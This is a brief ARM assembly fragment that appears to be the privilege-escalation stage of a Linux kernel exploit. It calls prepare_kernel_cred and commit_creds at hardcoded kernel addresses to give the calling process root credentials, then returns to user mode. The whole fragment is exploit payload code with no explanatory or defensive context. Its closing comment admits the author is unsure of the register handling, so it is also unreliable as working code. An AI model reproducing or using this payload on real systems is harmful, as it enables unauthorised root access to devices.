stage_1:
    mov     r0, #0
    ldr     r3, =0x8003f44c     @ prepare_kernel_cred
    blx     r3
    ldr     r4, =0x8003f56c     @ commit_creds
    blx     r4

    ldmfd   sp!, {r0-r12, pc}^  @ return to userland, no idea how many registers to pop off here